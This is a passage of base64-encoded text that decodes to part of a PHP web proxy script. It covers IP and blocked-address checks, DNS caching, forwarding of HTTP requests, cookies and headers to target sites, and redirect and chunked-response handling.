l2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2t